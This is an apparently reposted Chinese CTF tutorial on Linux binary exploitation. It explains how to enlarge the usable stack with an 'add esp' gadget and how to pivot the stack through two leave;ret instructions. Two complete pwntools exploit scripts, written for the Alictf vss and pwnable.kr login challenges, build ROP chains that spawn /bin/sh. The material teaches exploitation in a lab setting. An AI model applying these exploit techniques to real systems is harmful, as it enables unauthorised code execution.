您當前的位置:首頁 > 繪畫

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

作者:由 i春秋 發表于 繪畫時間:2019-07-24

這是一套Linux Pwn入門教程系列,作者依據i春秋Pwn入門課程中的技術分類,並結合近幾年賽事中出現的一些題目和文章整理出一份相對完整的Linux Pwn教程。

課程回顧>>

Linux Pwn入門教程第一章:環境配置

Linux Pwn入門教程第二章:棧溢位基礎

Linux Pwn入門教程第三章:ShellCode

Linux Pwn入門教程第四章:ROP技術

教程中的題目和指令碼若有使用不妥之處,歡迎各位大佬批評指正。

在存在棧溢位的程式中,有時候我們會碰到一些棧相關的問題,例如溢位的位元組數太小,ASLR導致的棧地址不可預測等。針對這些問題,我們有時候需要透過gadgets調整棧幀以完成攻擊。常用的思路包括加減esp值,利用部分溢位位元組修改ebp值並進行stack pivot等。

今天i春秋與大家分享的是Linux Pwn入門教程第五章:調整棧幀的技巧,閱讀用時約12分鐘。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

修改esp擴大棧空間

我們先來嘗試一下修改esp擴大棧空間。開啟例子~/Alictf 2016-vss/vss,我們發現這是一個64位的程式,且由於使用靜態編譯+strip命令剝離符號,整個程式看起來比較亂,我們先找到main函式:

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

IDA載入後窗口顯示的是程式碼塊start,這個結構是固定的,call的函式是__libc_start_main,上一行的offset則是main函式。進入main函式後,我們可以透過syscall的eax值,引數等確定幾個函式的名字。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

sub_4374E0使用了呼叫號是0x25的syscall,且F5的結果該函式接收一個引數,應該是alarm。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

sub_408800字串單引數,且引數被列印到螢幕上,可以猜測是puts。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

sub_437EA0呼叫sub_437EBD,使用了0號syscall,且接收三個引數,推測為read。

分析後的main函式如下:

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

被命名為verify的函式內部太過複雜,我們先暫且放棄靜態分析的嘗試,透過向程式中輸入大量字串我們發現程式存在溢位。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

將斷點下在call read一行,我們跟蹤一下輸入的資料的走向。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

步進verify函式,執行到call sub_400330一行和執行結果,推測出sub_400330是strncpy( )。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

繼續往下執行,發現有兩個判斷,判斷輸入頭兩個字母是否是py,若是則直接退出,否則進入一個迴圈,這個迴圈會以[rbp+rax+dest]裡的值作為迴圈次數對從輸入開始的每個位異或0x66。由於迴圈次數會被修改且變得過大,迴圈最後會因為試圖訪問沒有標誌位R的記憶體頁而崩潰。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

rbp+rax=0x7FFE6CD1A040,該地址所在記憶體頁無法訪問。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

因此我們需要改變思路,嘗試一下在輸入的開頭加上“py”,這回發現了一個數據可控的棧溢位。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

透過觀察資料我們很容易發現被修改的EIP是透過strncpy複製到輸入前面的0x50個位元組的最後8個。由於沒有libc,one gadget RCE使不出來,且使用了strncpy,字串裡不能有\\x00,否則會被當做字串截斷從而無法複製滿0x50字節制造可控溢位,這就意味著任何地址都不能被寫在前0x48個位元組中。在這種情況下我們就需要透過修改esp來完成漏洞利用。

首先,儘管我們有那麼多的限制條件,但是在main函式中我們看到read函式的引數指明瞭長度是0x400。幸運的是,read函式可以讀取“\\x00”。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

這就意味著我們可以把ROP鏈放在0x50位元組之後,然後透過增加esp的值把棧頂抬到ROP鏈上。我們搜尋包含add esp的gadgets,搜尋到了一些結果。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

透過這個gadget,我們成功把esp的值增加到0x50之後。接下來我們就可以使用熟悉的ROP技術呼叫sys_read讀取“/bin/sh\\x00”字串,最後呼叫sys_execve了。構建ROP鏈和完整指令碼如下:

#!/usr/bin/python

#coding:utf-8

from pwn import *

context。update(arch = ‘amd64’, os = ‘linux’, timeout = 1)

io = remote(‘172。17。0。3’, 10001)

payload = “”

payload += p64(0x6161616161617970) #頭兩位為py,過檢測

payload += ‘a’*0x40 #padding

payload += p64(0x46f205) #add esp, 0x58; ret

payload += ‘a’*8 #padding

payload += p64(0x43ae29) #pop rdx; pop rsi; ret 為sys_read設定引數

payload +=p64(0x8) #rdx = 8

payload += p64(0x6c7079) #rsi = 0x6c7079

payload += p64(0x401823) #pop rdi; ret 為sys_read設定引數

payload += p64(0x0) #rdi = 0

payload += p64(0x437ea9) #mov rax, 0; syscall 呼叫sys_read

payload += p64(0x46f208) #pop rax; ret

payload += p64(59) #rax = 0x3b

payload += p64(0x43ae29) #pop rdx; pop rsi; ret 為sys_execve設定引數

payload += p64(0x0) #rdx = 0

payload += p64(0x0) #rsi = 0

payload += p64(0x401823) #pop rdi; ret 為sys_execve設定引數

payload += p64(0x6c7079) #rdi = 0x6c7079

payload += p64(0x437eae) #syscall

print io。recv()

io。send(payload)

sleep(0。1) #等待程式執行,防止出錯

io。send(‘/bin/sh\\x00’)

io。interactive()

棧幀劫持stack pivot

透過可以修改esp的gadget可以繞過一些限制,擴大可控資料的位元組數,但是當我們需要一個完全可控的棧時這種小把戲就無能為力了。在系列的前幾篇文章中我們提到過數次ALSR,即地址空間佈局隨機化。

這是一個系統級別的安全防禦措施,無法透過修改編譯引數進行控制,且目前大部分主流的作業系統均實現且預設開啟ASLR。正如其名,在開啟ASLR之前,一個程序中所有的地址都是確定的,不論重複啟動多少次,程序中的堆和棧等的地址都是固定不變的。

這就意味著我們可以把需要用到的資料寫在堆疊上,然後直接在腳本里硬編碼這個地址完成攻擊。例如,我們假設有一個沒有開NX保護的,有棧溢位的程式執行在沒有ASLR的系統上。由於沒有ASLR,每次啟動程式時棧地址都是0x7fff0000,那麼我們直接寫入shellcode並且利用棧溢位跳轉到0x7fff0000就可以成功getshell。

而當ASLR開啟後,每次啟動程式時的棧和堆地址都是隨機的,也就是說這次啟動時是0x7fff0000,下回可能就是0x7ffe0120。這時候如果沒有jmp esp一類的gadget,攻擊就會失效,而stack pivot這種技術就是一個對抗ASLR的利器。

stack pivot之所以重要,是因為其利用到的gadget幾乎不可能找不到。在函式建立棧幀時有兩條指令push ebp; mov ebp, esp,而退出時同樣需要消除這兩條指令的影響,即leave(mov esp, ebp; pop ebp)。且leave一般緊跟著就是ret。因此,在存在棧溢位的程式中,只要我們能控制到棧中的ebp,我們就可以透過兩次leave劫持棧。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

第一次leave; ret,new esp為棧劫持的目標地址。可以看到執行到retn時,esp還在原來的棧上,ebp已經指向了新的棧頂。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

第二次leave; ret 實際決定棧位置的暫存器esp已經被成功劫持到新的棧上,執行完gadget後棧頂會在new esp-4(64位是-8)的位置上。此時棧完全可控透過預先或者之後在new stack上佈置資料可以輕鬆完成攻擊。

我們來看一個實際的例子~/pwnable。kr-login/login,這個程式的邏輯很簡單,且預留了一個system(“/bin/sh”)後門。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

程式要求我們輸入一個base64編碼過的字串,隨後會進行解碼並且複製到位於bss段的全域性變數input中,最後使用auth函式進行驗證,通過後進入帶有後門的correct( )開啟shell。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

開啟auth函式,我們發現這個auth的手段實際上是計算md5並進行比對,顯然以我們的水平要在短時間裡做到md5碰撞不現實。但萬幸的是,這裡的memcpy似乎會造成一個棧溢位。

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

除錯發現不幸的是我們不能控制EIP,只能控制到EBP。這就需要用到stack pivot把對EBP的控制轉化為對EIP的控制了。由於程式把解碼後的輸入複製到地址固定的。bss段上,且從auth到程式結束總共要經過auth和main兩個函式的leave; retn,我們可以將棧劫持到儲存有輸入的。bss段上。毫無疑問,base64加密前的12個位元組的最後4個留給。bss段上資料的首地址0x811eb40。根據之前的推演,執行到第二次retn時esp = new esp - 4,所以頭4個位元組應該是填充位,中間四個位元組就是後門的地址。即輸入佈局如下:

CTF必備技能丨Linux Pwn入門教程——調整棧幀的技巧

構造指令碼如下:

#!/usr/bin/python

#coding:utf-8

from pwn import *

from base64 import *

context。update(arch = ‘i386’, os = ‘linux’, timeout = 1)

io = remote(“172。17。0。2”, 10001)

payload = “aaaa” #padding

payload += p32(0x08049284) #system(“/bin/sh”)地址,整個payload被複制到bss上,棧劫持後retn時棧頂在這裡

payload += p32(0x0811eb40) #新的esp地址

io。sendline(b64encode(payload))

io。interactive()

需要注意的是,stack pivot是一個比較重要的技術。在接下來的SROP和ret2dl_resolve中我們還將利用到這個技術。

以上是今天的內容,大家看懂了嗎?後面我們將持續更新Linux Pwn入門教程的相關章節,希望大家及時關注。

標簽: ESP  p64  payload  地址  函式